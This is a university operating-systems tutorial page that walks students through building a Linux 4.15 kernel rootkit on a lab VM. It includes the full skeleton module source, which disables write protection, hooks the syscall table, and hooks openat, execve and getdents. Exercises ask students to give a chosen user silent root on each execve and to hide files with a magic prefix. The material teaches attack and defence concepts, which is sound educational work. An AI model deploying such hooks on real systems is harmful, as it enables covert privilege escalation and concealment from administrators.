Operating Systems 2019F: Tutorial 9

From Soma-notes

In this tutorial we are going to be experimenting with, implementing, and extending 3000rootkit, a basic rootkit for Linux 4.15. Kernel module development can be a janky experience at best. This will be amplified by the fact that we are doing things here that we are not supposed to be doing. Therefore, it is wise to work carefully and make backups as you go.

WARNING

This tutorial MUST be completed on the provided OpenStack virtual machine. Your VM must be running Linux 4.15.

Make sure to backup your VM frequently to avoid loss of data.

Attempting this tutorial on your own system can cause IRREVERSIBLE DAMAGE.

Important Tips

  • There is a high probability your VM will crash or your ssh session will become unresponsive during this tutorial. To recover, you can reboot your VM from the OpenStack web console.
  • Definitely do not under any circumstances attempt this on your own system. This is your last warning.
  • If you run out of disk space, your kernel logs are probably too big or you have other large files. Be sure to free disk space using these instructions COMP 3000 2019F.
  • Remember to recompile and insert your module after making changes.
  • Work incrementally and be prepared for your system to crash.
  • It might be wise to code on your own computer and use scp or sshfs to transfer the files to your VM.
  • https://elixir.bootlin.com/linux/v4.15/source is a great resource for learning about kernel functions and data structures.

Getting Started

  1. Read the warning message at the beginning of this tutorial.
  2. Download 3000rootkit into your vm and unpack it there: wget https://homeostasis.scs.carleton.ca/~soma/os-2019f/code/3000rootkit.zip; unzip 3000rootkit; cd 3000rootkit
  3. Compile 3000rootkit by first becoming root (sudo su -) and running make. Insert the module using insert.sh. Verify that the module has been inserted by running lsmod.
  4. Remove the module using eject.sh. Verify that the module has been removed using lsmod.

Understanding 3000rootkit

  1. Examine insert.sh. How do we pass parameters to the kernel module? How do we retrieve parameters in 3000rootkit.c?
  2. What do the functions enable_write_protection and disable_write_protection do? How do they work? Where do we call these functions in 3000rootkit? Why do you think we need to do this?
    • Hint: Try commenting one or more of these function calls.
    • Hint for after you try the hint: If you are stuck with an un-removable module, reboot your VM.
  3. Look at the hook_syscall and unhook_syscall functions, as well as the provided new_openat hook. Can you explain roughly how the process of hooking a system call works? To see the new_openat hook in action, insert your module and run a few dynamically linked binaries. Run the dmesg command to view the logs. You should see every openat call to paths that begin with "/lib".
  4. Why do you think we need to copy pathname into the kernel's address space before we print it in the provided new_openat hook? What would happen if we tried to access pathname directly?
    • Hint: Try it and see what happens. Make a backup first and get ready to reboot your virtual machine afterwards.
  5. Hooking into system calls in this way is highly discouraged (think back to why we needed to disable write protection in question 2). Why do you think this might be the case?

Extending 3000rootkit

  1. You may want to comment out the printk call and if-statement on line 190-195 in the provided new_openat hook. This will stop it from spamming the kernel logs, which will make it easier to see that your changes in the following questions work. It will also help prevent your kernel logs from taking up all your disk space.
  2. Let's turn 3000rootkit into an actual rootkit. Specifically, we are going to bake in a crude form of privilege escalation as a hook onto the execve system call. Your task is to make every execve call by your (student's) euid run with root's uid and gid instead. For this question, all the boilerplate code is provided for you in the new_execve function. You just need to figure out how to modify the appropriate credentials.
    • Hint: Take a look at the cred struct and associated macros in <linux/cred.h>
  3. Test your changes by compiling, and inserting your module. Exit your root shell by using <ctrl-d> or typing exit, and run the whoami command as the user student. If your hook worked properly, it should print "root".
  4. Add a hook to getdents that uses printk to reflect the contents of a directory in the kernel logs. That is, after running ls, you should be able to run dmesg and see the contents of the directory you just ls'd. In this question, some boilerplate is again provided for you (the function new_getdents).
    • Hint: check the man page for getdents(2) for an example of how to walk the buffer of linux_dirents. Pay special attention to the d_reclen field in the linux_dirent struct.
  5. Test your changes by, again, compiling and inserting your module. Run ls and then use dmesg to check the kernel logs to make sure they match.
  6. (Advanced) Modify your getdents hook to hide all files that begin with magic_prefix (defined as a parameter to the module in insert.sh). Verify that you can hide files by creating a file that begins with the prefix, running ls, and then running ls again after you insert your module. Feel free to skip this if you are running short on time.

Reflecting on 3000rootkit

  1. Did anything in this tutorial frighten you? How might you prevent something like this from happening to your system?
  2. The questions in this tutorial only gave you a small taste of what rootkits can do. For example, more advanced rootkits can even hide themselves, meaning that they are virtually undetectable in the system. What makes an attacker with the ability to modify the kernel so dangerous? Think about processor modes and protection rings.

Code

3000rootkit.c

/*
 * 3000rootkit
 * This skeleton has been adapted for COMP3000 by William Findlay.
 * Original skeleton written by Legion.
 */

#include "3000rootkit.h"

/* Location of the system call table in memory. */
static void **sys_call_table;

/* Doubly linked list to keep track of what hooks we have in place. */
static syscall_hook_list_t *hooks;

static int student_uid;
module_param(student_uid, int, 0);
MODULE_PARM_DESC(student_uid, "UID to silently give root privileges");

static char* magic_prefix;
module_param(magic_prefix, charp, 0);
MODULE_PARM_DESC(magic_prefix, "Files that start with this prefix are removed from the dirent buffer");

void enable_write_protection(void) {
  write_cr0(read_cr0() | 0x10000);
  return;
}

void disable_write_protection(void) {
  write_cr0(read_cr0() & (~ 0x10000));
  return;
}

/* Hook a systemcall and save the original function for later */
int hook_syscall(syscall_hook_t *hook)
{
    if(hook->hooked)
        return 0;

    /* Get & store the original syscall from the syscall_table using the offset */
    hook->orig_func = sys_call_table[hook->offset];

    printk(KERN_INFO "Hooking offset %d. Original: %lx to New:  %lx\n",
            hook->offset, (unsigned long) hook->orig_func, (unsigned long) hook->hook_func);

    /* Set protection to RW */
    disable_write_protection();

    /* Load the hook into syscall table memory */
    sys_call_table[hook->offset] = hook->hook_func;

    /* Set protection back to normal */
    enable_write_protection();

    /* Remember that we enabled the hook */
    hook->hooked = true;
    return hook->hooked;
}

/* Unhooks a syscall by restoring the original function. */
int unhook_syscall(syscall_hook_t *hook)
{
    if(!hook->hooked)
        return 0;

    printk(KERN_INFO "Unhooking offset %d back to  %lx\n",
            hook->offset, (unsigned long) hook->orig_func);

    /* Set protection to RW */
    disable_write_protection();

    /* Change things back to normal */
    sys_call_table[hook->offset] = hook->orig_func;

    /* Set protection back to normal */
    enable_write_protection();

    /* Remember we've undone the hook */
    hook->hooked = false;
    return !hook->hooked;
}

/* Finds the syscall_hook_t in our hook linked list that is hooking the given offset. */
syscall_hook_t *find_syscall_hook(const unsigned int offset)
{
    struct list_head      *element;
    syscall_hook_list_t   *hook_entry;
    syscall_hook_t        *hook;

    list_for_each(element, &(hooks->list))
    {
        hook_entry = list_entry(element, syscall_hook_list_t, list);
        hook       = hook_entry->hook;

        if(hook->offset == offset)
            return hook;
    }

    return 0;
}

/* Allocate a new system call hook and add it to our linked list. */
syscall_hook_t *new_hook(const unsigned int offset, void *newFunc)
{
    syscall_hook_t      *hook;
    syscall_hook_list_t *new_link;

    hook = kmalloc(sizeof(syscall_hook_t), GFP_KERNEL);
    hook->hooked         = false;
    hook->orig_func      = NULL;
    hook->hook_func      = newFunc;
    hook->offset         = offset;

    new_link = kmalloc(sizeof(syscall_hook_list_t), GFP_KERNEL);
    new_link->hook = hook;

    list_add(&(new_link->list), &(hooks->list));

    return new_link->hook;
}

int init_module(void)
{
    printk(KERN_INFO "3000rootkit module initalizing.\n");

    printk(KERN_INFO "The magic prefix is %s\n", magic_prefix);

    /* Allocate & init a list to store our syscall_hooks */
    hooks = kmalloc(sizeof(syscall_hook_list_t), GFP_KERNEL);
    INIT_LIST_HEAD(&(hooks->list));

    /* Yoink the sys_call_table */
    sys_call_table = (void *) kallsyms_lookup_name("sys_call_table");
    printk(KERN_INFO "Syscall table loaded from %lx\n", (unsigned long) sys_call_table);

    /* Example hook for openat */
    hook_syscall(new_hook(__NR_openat, (void*) &new_openat));
    /* Your execve hook */
    hook_syscall(new_hook(__NR_execve, (void*) &new_execve));
    /* Your getdents hook */
    hook_syscall(new_hook(__NR_getdents, (void*) &new_getdents));


    printk(KERN_INFO "3000rootkit module is loaded!\n");
    return 0;
}

/*
 * Module destructor callback
 */
void cleanup_module(void)
{
    struct list_head      *element;
    struct list_head      *tmp;
    syscall_hook_list_t   *hook_entry;
    syscall_hook_t        *hook;

    printk(KERN_INFO "3000rootkit module unloaded\n");

    /* Clean up our linked list */
    list_for_each_safe(element, tmp, &(hooks->list))
    {
        hook_entry = list_entry(element, syscall_hook_list_t, list);
        hook       = hook_entry->hook;

        printk(KERN_INFO "Freeing hook - offset %d\n", hook->offset);

        if(hook->hooked)
            unhook_syscall(hook_entry->hook);

        list_del(element);
        kfree(hook_entry);
    }

    printk(KERN_INFO "3000rootkit module cleanup complete\n");
}

asmlinkage int new_openat(int dirfd, const char *pathname, int flags, mode_t mode)
{
    char *k_path;
    /* Declare a orig_func function pointer with the types matched to open() */
    int (*orig_func)(int dirfd, const char *pathname, int flags, mode_t mode);
    syscall_hook_t *openat_hook;

    /* Find the syscall_hook_t for __NR_openat from our linked list */
    openat_hook = find_syscall_hook(__NR_openat);
    /* And cast the orig_func void pointer into the orig_func to be invoked */
    orig_func = (void*) openat_hook->orig_func;

    /* Comment this to stop the spammy print every time openat is called */
    k_path = kmalloc(PATH_MAX, GFP_KERNEL);
    strncpy_from_user(k_path, pathname, PATH_MAX);
    /* Only print openat calls to files in /lib or things can get out of hand quite quickly... */
    if(!strncmp(k_path, "/lib", strlen("/lib")))
        printk(KERN_INFO "I hooked openat(%d, %s, %x, %d)\n", dirfd, k_path, flags, mode);
    kfree(k_path);

    /* Invoke the original syscall */
    return (*orig_func)(dirfd, pathname, flags, mode);
}

asmlinkage int new_execve(const char *filename, char *const argv[], char *const envp[])
{
    /* Declare a orig_func function pointer with the types matched to execve() */
    int (*orig_func)(const char *filename, char *const argv[], char *const envp[]);
    syscall_hook_t *execve_hook;

    struct user_namespace *ns = current_user_ns();

    struct cred *cred;
    kuid_t root_uid = make_kuid(ns, 0);
    kgid_t root_gid = make_kgid(ns, 0);
    kuid_t student = make_kuid(ns, student_uid);
    kuid_t euid = current_euid();

    /* Find the syscall_hook_t for __NR_execve from our linked list */
    execve_hook = find_syscall_hook(__NR_execve);
    /* And cast the orig_func void pointer into the orig_func to be invoked */
    orig_func = (void*) execve_hook->orig_func;

    /* Your code here! */

    /* Invoke the original syscall */
    return (*orig_func)(filename, argv, envp);
}

asmlinkage int new_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count)
{
    char *k_dirp;
    struct linux_dirent *d;
    unsigned int bpos = 0;
    unsigned int retval = 0;
    /* Declare a orig_func function pointer with the types matched to getdents() */
    int (*orig_func)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
    syscall_hook_t *getdents_hook;

    /* Find the syscall_hook_t for __NR_getdents from our linked list */
    getdents_hook = find_syscall_hook(__NR_getdents);
    /* And cast the orig_func void pointer into the orig_func to be invoked */
    orig_func = (void*) getdents_hook->orig_func;

    /* Invoke the original syscall to populate dirp buffer
     * retval will contain the number of bytes read, so we can use it to kmalloc */
    retval = (*orig_func)(fd, dirp, count);

    if (!dirp || retval <= 0)
        goto end;

    /* Allocate k_dirp */
    k_dirp = kmalloc(retval, GFP_KERNEL);

    /* Copy memory from userspace */
    if (raw_copy_from_user(k_dirp, dirp, retval))
    {
        /* We somehow didn't copy the entire thing */
        printk(KERN_ALERT "Couldn't copy all dirents from userspace\n");
        kfree(k_dirp);
        return -EFAULT;
    }

    /* Your code here! */

    /* Copy memory back to userspace */
    if (raw_copy_to_user(dirp, k_dirp, retval))
    {
        /* We somehow didn't copy the entire thing */
        printk(KERN_ALERT "Couldn't copy all dirents to userspace\n");
        kfree(k_dirp);
        return -EFAULT;
    }

    /* Clean up memory */
    kfree(k_dirp);

end:
    return retval;
}

3000rootkit.h

/*
 * 3000rootkit
 * This skeleton has been adapted for COMP3000 by William Findlay.
 * Original skeleton written by Legion.
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/unistd.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/cred.h>
#include <linux/dirent.h>
#include <asm/uaccess.h>
#include <asm/errno.h>
#include <linux/fcntl.h>
#include <linux/limits.h>

/* Information about a hooked system call */
typedef struct
{
  unsigned int  offset;     /* offset in the syscall_table to hook/unhook */
  unsigned long *orig_func; /* original syscall function */
  unsigned long *hook_func; /* replacement syscall function */
  bool hooked;              /* have we hooked yet? */

} syscall_hook_t;

/* Linked list to maintain information about our hooks calls */
typedef struct
{
  syscall_hook_t   *hook;
  struct list_head list;
} syscall_hook_list_t;

/* Legacy dirent struct */
struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char            d_name[1];
};

void set_addr_rw(const unsigned long addr);
void set_addr_ro(const unsigned long addr);
int hook_syscall(syscall_hook_t *hook);
int unhook_syscall(syscall_hook_t *hook);
int make_root(void);
syscall_hook_t *find_syscall_hook(const unsigned int offset);
syscall_hook_t *new_hook(const unsigned int offset, void *newFunc);

asmlinkage int new_openat(int dirfd, const char *pathname, int flags, mode_t mode);
asmlinkage int new_execve(const char *filename, char *const argv[], char *const envp[]);
asmlinkage int new_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count);

MODULE_AUTHOR("William Findlay and Legion");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("3000rootkit");
MODULE_VERSION("0.0.1");

insert.sh

#! /usr/bin/env bash

# Find the UID of student
STUDENT_UID=$(id -u student)
# Files with this prefix should be hidden from ls
MAGIC_PREFIX="hideme"

echo -e "\e[31mInserting 3000rootkit with student_uid=$STUDENT_UID magic_prefix=$MAGIC_PREFIX\e[39m"

# Insert the rootkit module, providing the correct parameters above
insmod 3000rootkit.ko student_uid=$STUDENT_UID magic_prefix=$MAGIC_PREFIX

Makefile

obj-m += 3000rootkit.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean